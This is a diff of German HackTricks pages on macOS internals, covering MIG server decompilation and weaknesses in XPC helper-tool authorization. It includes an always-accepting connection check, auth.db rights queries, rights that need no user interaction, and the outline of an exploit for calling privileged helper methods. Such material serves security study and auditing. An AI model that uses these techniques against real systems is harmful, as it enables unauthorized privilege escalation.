||||
<strong> if (rax == 0x0) {
|
||||
</strong> *(var_18 + 0x18) = **_NDR_record;
|
||||
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
|
||||
|
@ -756,7 +297,7 @@ return rax;
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="myipc_server dekompiliert 2" %}
|
||||
Dies ist dieselbe Funktion, dekompiliert in einer anderen Hopper Free-Version:
|
||||
Dies ist dieselbe Funktion dekompiliert in einer anderen Hopper Free-Version:
|
||||
|
||||
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
|
||||
r31 = r31 - 0x40;
|
||||
|
@ -764,7 +305,7 @@ saved_fp = r29;
|
|||
stack[-8] = r30;
|
||||
var_10 = arg0;
|
||||
var_18 = arg1;
|
||||
// Anfangsanweisungen zum Finden der richtigen Funktionszeiger
|
||||
// Initiale Anweisungen zum Finden der richtigen Funktionszeiger
|
||||
*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
|
||||
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
|
||||
*(int32_t *)(var_18 + 0x4) = 0x24;
|
||||
|
@ -800,7 +341,7 @@ r8 = 0x1;
|
|||
}
|
||||
}
|
||||
// Dasselbe If-Else wie in der vorherigen Version
|
||||
// Überprüfen Sie die Verwendung der Adresse 0x100004040 (Array der Funktionsadressen)
|
||||
// Überprüfen Sie die Verwendung der Adresse 0x100004040 (Adressen der Funktionen)
|
||||
<strong> if ((r8 & 0x1) == 0x0) {
|
||||
</strong><strong> *(var_18 + 0x18) = **0x100004000;
|
||||
</strong> *(int32_t *)(var_18 + 0x20) = 0xfffffed1;
|
||||
|
@ -831,14 +372,12 @@ return r0;
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
Tatsächlich finden Sie im Funktion **`0x100004000`** das Array der **`routine_descriptor`**-Strukturen. Das erste Element der Struktur ist die **Adresse**, an der die **Funktion** implementiert ist, und die **Struktur nimmt 0x28 Bytes** ein. Daher können Sie alle 0x28 Bytes (beginnend ab Byte 0) 8 Bytes erhalten, und das wird die **Adresse der Funktion** sein, die aufgerufen wird:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
Tatsächlich finden Sie im Funktions **`0x100004000`** das Array der **`routine_descriptor`**-Strukturen. Das erste Element der Struktur ist die **Adresse**, an der die **Funktion** implementiert ist, und die **Struktur nimmt 0x28 Bytes ein**, sodass Sie alle 0x28 Bytes (beginnend ab Byte 0) 8 Bytes erhalten und das wird die **Adresse der Funktion** sein, die aufgerufen wird:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Diese Daten können [**mit diesem Hopper-Skript**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py) extrahiert werden.
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) **bei** oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories einreichen.**
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
</details>
|
||||
Diese Daten können [**mit diesem Hopper-Skript**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py) extrahiert werden.
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) **bei oder der** [**Telegram-Gruppe**](https://t.me/peass) **oder folgen Sie uns auf Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories einreichen.**
|
||||
|
|
|
@ -2,27 +2,27 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories** senden.
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
## XPC Autorisierung
|
||||
|
||||
Apple schlägt auch einen anderen Weg vor, um zu authentifizieren, ob der verbindende Prozess **Berechtigungen zum Aufrufen einer freigegebenen XPC-Methode** hat.
|
||||
Apple schlägt auch einen anderen Weg vor, um zu authentifizieren, ob der verbindende Prozess **Berechtigungen zum Aufrufen der freigegebenen XPC-Methode hat**.
|
||||
|
||||
Wenn eine Anwendung **Aktionen als privilegierter Benutzer ausführen muss**, installiert sie normalerweise anstelle des Ausführens der App als privilegierter Benutzer einen HelperTool als XPC-Dienst, der von der App aufgerufen werden kann, um diese Aktionen auszuführen. Die App, die den Dienst aufruft, sollte jedoch ausreichende Autorisierung haben.
|
||||
Wenn eine Anwendung **Aktionen als privilegierter Benutzer ausführen muss**, installiert sie normalerweise anstelle des Ausführens der App als privilegierter Benutzer als Root ein HelperTool als XPC-Dienst, der von der App aufgerufen werden kann, um diese Aktionen auszuführen. Die App, die den Dienst aufruft, sollte jedoch über ausreichende Autorisierung verfügen.
|
||||
|
||||
### ShouldAcceptNewConnection immer YES
|
||||
|
||||
Ein Beispiel hierfür findet sich in [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample). In `App/AppDelegate.m` versucht es, eine **Verbindung** zum **HelperTool** herzustellen. Und in `HelperTool/HelperTool.m` überprüft die Funktion **`shouldAcceptNewConnection`** **keine** der zuvor angegebenen Anforderungen. Sie gibt immer YES zurück:
|
||||
Ein Beispiel hierfür findet sich in [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample). In `App/AppDelegate.m` versucht es, eine Verbindung zum **HelperTool** herzustellen. Und in `HelperTool/HelperTool.m` wird die Funktion **`shouldAcceptNewConnection`** **keine** der zuvor angegebenen Anforderungen überprüfen. Sie gibt immer YES zurück:
|
||||
```objectivec
|
||||
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
|
||||
// Called by our XPC listener when a new connection comes in. We configure the connection
|
||||
|
@ -39,7 +39,7 @@ newConnection.exportedObject = self;
|
|||
return YES;
|
||||
}
|
||||
```
|
||||
Für weitere Informationen zur ordnungsgemäßen Konfiguration dieser Überprüfung:
|
||||
Für weitere Informationen darüber, wie Sie diese Überprüfung ordnungsgemäß konfigurieren können:
|
||||
|
||||
{% content-ref url="macos-xpc-connecting-process-check/" %}
|
||||
[macos-xpc-connecting-process-check](macos-xpc-connecting-process-check/)
|
||||
|
@ -50,7 +50,7 @@ Für weitere Informationen zur ordnungsgemäßen Konfiguration dieser Überprüf
|
|||
Es findet jedoch eine **Autorisierung statt, wenn eine Methode aus dem HelperTool aufgerufen wird**.
|
||||
|
||||
Die Funktion **`applicationDidFinishLaunching`** aus `App/AppDelegate.m` erstellt nach dem Start der App eine leere Autorisierungsreferenz. Dies sollte immer funktionieren.\
|
||||
Anschließend versucht sie, dieser Autorisierungsreferenz einige Rechte hinzuzufügen, indem sie `setupAuthorizationRights` aufruft:
|
||||
Anschließend wird versucht, **einige Rechte hinzuzufügen** zu dieser Autorisierungsreferenz durch Aufruf von `setupAuthorizationRights`:
|
||||
```objectivec
|
||||
- (void)applicationDidFinishLaunching:(NSNotification *)note
|
||||
{
|
||||
|
@ -74,7 +74,7 @@ if (self->_authRef) {
|
|||
[self.window makeKeyAndOrderFront:self];
|
||||
}
|
||||
```
|
||||
Die Funktion `setupAuthorizationRights` aus `Common/Common.m` speichert die Rechte der Anwendung in der Authentifizierungsdatenbank `/var/db/auth.db`. Beachten Sie, dass sie nur die Rechte hinzufügt, die noch nicht in der Datenbank vorhanden sind:
|
||||
Die Funktion `setupAuthorizationRights` aus `Common/Common.m` speichert die Rechte der Anwendung in der Authentifizierungsdatenbank `/var/db/auth.db`. Beachten Sie, wie sie nur die Rechte hinzufügt, die noch nicht in der Datenbank vorhanden sind:
|
||||
```objectivec
|
||||
+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
|
||||
// See comment in header.
|
||||
|
@ -184,15 +184,15 @@ block(authRightName, authRightDefault, authRightDesc);
|
|||
}];
|
||||
}
|
||||
```
|
||||
Dies bedeutet, dass am Ende dieses Prozesses die in `commandInfo` deklarierten Berechtigungen in `/var/db/auth.db` gespeichert werden. Beachten Sie, wie Sie dort für **jede Methode**, die eine Authentifizierung erfordert, den **Berechtigungsnamen** und den **`kCommandKeyAuthRightDefault`** finden können. Letzteres gibt an, wer dieses Recht erhalten kann.
|
||||
Dies bedeutet, dass am Ende dieses Prozesses die in `commandInfo` deklarierten Berechtigungen in `/var/db/auth.db` gespeichert werden. Beachten Sie, dass Sie dort für **jede Methode**, die **Authentifizierung erfordert**, den **Berechtigungsnamen** und den **`kCommandKeyAuthRightDefault` finden können. Letzterer **zeigt an, wer dieses Recht erhalten kann**.
|
||||
|
||||
Es gibt verschiedene Bereiche, um anzuzeigen, wer ein Recht abrufen kann. Einige von ihnen sind in [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) definiert (Sie können [alle hier finden](https://www.dssw.co.uk/reference/authorization-rights/)), aber zusammengefasst:
|
||||
Es gibt verschiedene Bereiche, um anzuzeigen, wer ein Recht erhalten kann. Einige von ihnen sind in [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) definiert (Sie können [alle von ihnen hier finden](https://www.dssw.co.uk/reference/authorization-rights/)), aber zusammengefasst:
|
||||
|
||||
<table><thead><tr><th width="284.3333333333333">Name</th><th width="165">Wert</th><th>Beschreibung</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>Jeder</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>Niemand</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>Der aktuelle Benutzer muss ein Administrator sein (in der Admin-Gruppe)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>Benutzer zur Authentifizierung auffordern.</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>Benutzer zur Authentifizierung auffordern. Er muss ein Administrator sein (in der Admin-Gruppe)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>Regeln festlegen</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>Zusätzliche Kommentare zum Recht angeben</td></tr></tbody></table>
|
||||
<table><thead><tr><th width="284.3333333333333">Name</th><th width="165">Wert</th><th>Beschreibung</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>Jeder</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>Niemand</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>Aktueller Benutzer muss ein Administrator sein (innerhalb der Admin-Gruppe)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>Benutzer zur Authentifizierung auffordern.</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>Benutzer zur Authentifizierung auffordern. Er muss ein Administrator sein (innerhalb der Admin-Gruppe)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>Regeln festlegen</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>Zusätzliche Kommentare zum Recht angeben</td></tr></tbody></table>
|
||||
|
||||
### Überprüfung der Rechte
|
||||
### Rechteüberprüfung
|
||||
|
||||
In `HelperTool/HelperTool.m` überprüft die Funktion **`readLicenseKeyAuthorization`**, ob der Aufrufer berechtigt ist, **eine solche Methode auszuführen**, indem sie die Funktion **`checkAuthorization`** aufruft. Diese Funktion überprüft, ob die vom aufrufenden Prozess gesendeten **authData** das **richtige Format** hat und überprüft dann, **was erforderlich ist, um das Recht** zum Aufrufen der spezifischen Methode zu erhalten. Wenn alles gut läuft, ist der **zurückgegebene `error` `nil`**:
|
||||
In `HelperTool/HelperTool.m` überprüft die Funktion **`readLicenseKeyAuthorization`**, ob der Aufrufer berechtigt ist, **eine solche Methode auszuführen**, indem die Funktion **`checkAuthorization`** aufgerufen wird. Diese Funktion überprüft, ob die vom aufrufenden Prozess gesendeten **authData** das **richtige Format** hat, und überprüft dann, **was benötigt wird, um das Recht zu erhalten**, die spezifische Methode aufzurufen. Wenn alles gut läuft, wird der **zurückgegebene `Fehler` `nil` sein**:
|
||||
```objectivec
|
||||
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
|
||||
{
|
||||
|
@ -240,9 +240,9 @@ assert(junk == errAuthorizationSuccess);
|
|||
return error;
|
||||
}
|
||||
```
|
||||
Beachten Sie, dass die Funktion `authorizationRightForCommand` die Anforderungen überprüft, um das Recht zum Aufrufen dieser Methode zu erhalten. Sie überprüft einfach das zuvor kommentierte Objekt `commandInfo`. Anschließend ruft sie `AuthorizationCopyRights` auf, um zu überprüfen, ob sie das Recht hat, die Funktion aufzurufen (beachten Sie, dass die Flags die Interaktion mit dem Benutzer ermöglichen).
|
||||
Beachten Sie, dass zur Überprüfung der Anforderungen, um das Recht zu erhalten, diese Methode aufzurufen, die Funktion `authorizationRightForCommand` einfach das zuvor kommentierte Objekt `commandInfo` überprüfen wird. Anschließend wird sie `AuthorizationCopyRights` aufrufen, um zu überprüfen, ob sie das Recht hat, die Funktion aufzurufen (beachten Sie, dass die Flags die Interaktion mit dem Benutzer ermöglichen).
|
||||
|
||||
In diesem Fall ist für den Aufruf der Funktion `readLicenseKeyAuthorization` `kCommandKeyAuthRightDefault` auf `@kAuthorizationRuleClassAllow` festgelegt. Daher kann sie von jedem aufgerufen werden.
|
||||
In diesem Fall ist für den Aufruf der Funktion `readLicenseKeyAuthorization` das `kCommandKeyAuthRightDefault` auf `@kAuthorizationRuleClassAllow` festgelegt. So kann es von jedermann aufgerufen werden.
|
||||
|
||||
### DB-Informationen
|
||||
|
||||
|
@ -252,25 +252,25 @@ sudo sqlite3 /var/db/auth.db
|
|||
SELECT name FROM rules;
|
||||
SELECT name FROM rules WHERE name LIKE '%safari%';
|
||||
```
|
||||
Dann kannst du lesen, wer Zugriff auf das Recht hat, mit:
|
||||
Dann können Sie lesen, wer das Recht mit zugreifen kann:
|
||||
```bash
|
||||
security authorizationdb read com.apple.safaridriver.allow
|
||||
```
|
||||
### Permissive Rechte
|
||||
### Erlaubnisrechte
|
||||
|
||||
Sie können **alle Berechtigungskonfigurationen** [**hier**](https://www.dssw.co.uk/reference/authorization-rights/) finden, aber die Kombinationen, die keine Benutzerinteraktion erfordern, wären:
|
||||
|
||||
1. **'authenticate-user': 'false'**
|
||||
* Dies ist der direkteste Schlüssel. Wenn er auf `false` gesetzt ist, gibt er an, dass ein Benutzer keine Authentifizierung bereitstellen muss, um dieses Recht zu erlangen.
|
||||
* Dies wird in **Kombination mit einem der beiden untenstehenden oder der Angabe einer Gruppe** verwendet, zu der der Benutzer gehören muss.
|
||||
* Dies ist der direkteste Schlüssel. Wenn er auf `false` gesetzt ist, wird angegeben, dass ein Benutzer keine Authentifizierung benötigt, um dieses Recht zu erlangen.
|
||||
* Dies wird in **Kombination mit einem der beiden unten stehenden oder der Angabe einer Gruppe** verwendet, der der Benutzer angehören muss.
|
||||
2. **'allow-root': 'true'**
|
||||
* Wenn ein Benutzer als Root-Benutzer (der erhöhte Berechtigungen hat) arbeitet und dieser Schlüssel auf `true` gesetzt ist, könnte der Root-Benutzer dieses Recht potenziell ohne weitere Authentifizierung erlangen. In der Regel erfordert das Erreichen des Root-Benutzerstatus jedoch bereits eine Authentifizierung, daher handelt es sich für die meisten Benutzer nicht um ein "keine Authentifizierung" Szenario.
|
||||
* Wenn ein Benutzer als Root-Benutzer (der über erhöhte Berechtigungen verfügt) arbeitet und dieser Schlüssel auf `true` gesetzt ist, könnte der Root-Benutzer dieses Recht potenziell ohne weitere Authentifizierung erlangen. In der Regel erfordert das Erreichen des Root-Benutzerstatus jedoch bereits eine Authentifizierung, sodass dies für die meisten Benutzer kein Szenario ohne Authentifizierung ist.
|
||||
3. **'session-owner': 'true'**
|
||||
* Wenn er auf `true` gesetzt ist, erhält der Besitzer der Sitzung (der aktuell angemeldete Benutzer) automatisch dieses Recht. Dadurch kann eine zusätzliche Authentifizierung umgangen werden, wenn der Benutzer bereits angemeldet ist.
|
||||
* Wenn auf `true` gesetzt, würde der Besitzer der Sitzung (der aktuell angemeldete Benutzer) automatisch dieses Recht erhalten. Dies könnte zusätzliche Authentifizierung umgehen, wenn der Benutzer bereits angemeldet ist.
|
||||
4. **'shared': 'true'**
|
||||
* Dieser Schlüssel gewährt keine Rechte ohne Authentifizierung. Wenn er jedoch auf `true` gesetzt ist, bedeutet dies, dass das Recht, sobald es authentifiziert wurde, unter mehreren Prozessen geteilt werden kann, ohne dass jeder einzelne erneut authentifiziert werden muss. Die anfängliche Gewährung des Rechts erfordert jedoch weiterhin eine Authentifizierung, es sei denn, sie wird mit anderen Schlüsseln wie `'authenticate-user': 'false'` kombiniert.
|
||||
* Dieser Schlüssel gewährt keine Rechte ohne Authentifizierung. Wenn er auf `true` gesetzt ist, bedeutet dies stattdessen, dass das Recht nach der Authentifizierung unter mehreren Prozessen geteilt werden kann, ohne dass jeder einzelne erneut authentifiziert werden muss. Die erstmalige Gewährung des Rechts erfordert jedoch weiterhin eine Authentifizierung, es sei denn, sie wird mit anderen Schlüsseln wie `'authenticate-user': 'false'` kombiniert.
|
||||
|
||||
Sie können [**dieses Skript verwenden**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9), um die interessanten Rechte zu erhalten:
|
||||
Sie können [**dieses Skript**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9) verwenden, um die interessanten Rechte zu erhalten:
|
||||
```bash
|
||||
Rights with 'authenticate-user': 'false':
|
||||
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
|
||||
|
@ -285,13 +285,13 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
|
|||
|
||||
### Überprüfen, ob EvenBetterAuthorization verwendet wird
|
||||
|
||||
Wenn Sie die Funktion **`[HelperTool checkAuthorization:command:]`** finden, verwendet der Prozess wahrscheinlich das zuvor erwähnte Schema für die Autorisierung:
|
||||
Wenn Sie die Funktion finden: **`[HelperTool checkAuthorization:command:]`**, verwendet der Prozess wahrscheinlich das zuvor erwähnte Schema für die Autorisierung:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn diese Funktion Funktionen wie `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights` und `AuhtorizationFree` aufruft, wird [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154) verwendet.
|
||||
Wenn diese Funktion Funktionen wie `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree` aufruft, wird [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154) verwendet.
|
||||
|
||||
Überprüfen Sie die Datei **`/var/db/auth.db`**, um festzustellen, ob es möglich ist, Berechtigungen zum Aufrufen einer privilegierten Aktion ohne Benutzerinteraktion zu erhalten.
|
||||
Überprüfen Sie die **`/var/db/auth.db`**, um zu sehen, ob es möglich ist, Berechtigungen zum Aufrufen einer privilegierten Aktion ohne Benutzerinteraktion zu erhalten.
|
||||
|
||||
### Protokollkommunikation
|
||||
|
||||
|
@ -301,9 +301,9 @@ Die Funktion **`shouldAcceptNewConnection`** gibt das exportierte Protokoll an:
|
|||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
In diesem Fall haben wir dasselbe wie in EvenBetterAuthorizationSample, [**überprüfen Sie diese Zeile**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
|
||||
In diesem Fall haben wir dasselbe wie bei EvenBetterAuthorizationSample, [**überprüfen Sie diese Zeile**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
|
||||
|
||||
Wenn der Name des verwendeten Protokolls bekannt ist, ist es möglich, **seine Header-Definition zu extrahieren** mit:
|
||||
Nachdem Sie den Namen des verwendeten Protokolls kennen, ist es möglich, **seine Headerdefinition zu dumpen** mit:
|
||||
```bash
|
||||
class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
|
||||
|
||||
|
@ -317,13 +317,13 @@ class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
|
|||
@end
|
||||
[...]
|
||||
```
|
||||
Zuletzt müssen wir nur den **Namen des freigelegten Mach-Dienstes** wissen, um eine Kommunikation damit herzustellen. Es gibt mehrere Möglichkeiten, dies herauszufinden:
|
||||
Zuletzt müssen wir nur den **Namen des freigelegten Mach-Dienstes** kennen, um eine Kommunikation damit herzustellen. Es gibt mehrere Möglichkeiten, dies herauszufinden:
|
||||
|
||||
* Im **`[HelperTool init]`**, wo Sie den verwendeten Mach-Dienst sehen können:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* In der launchd-Plist:
|
||||
* In der launchd-Property-Liste:
|
||||
```xml
|
||||
cat /Library/LaunchDaemons/com.example.HelperTool.plist
|
||||
|
||||
|
@ -336,9 +336,9 @@ cat /Library/LaunchDaemons/com.example.HelperTool.plist
|
|||
</dict>
|
||||
[...]
|
||||
```
|
||||
### Exploit-Beispiel
|
||||
### Exploit Beispiel
|
||||
|
||||
In diesem Beispiel wird Folgendes erstellt:
|
||||
In diesem Beispiel wird erstellt:
|
||||
|
||||
* Die Definition des Protokolls mit den Funktionen
|
||||
* Eine leere Authentifizierung, die verwendet wird, um Zugriff anzufordern
|
||||
|
@ -427,14 +427,14 @@ NSLog(@"Finished!");
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositorys einreichen.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,130 +6,130 @@
|
|||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks in PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
|
||||
</details>
|
||||
|
||||
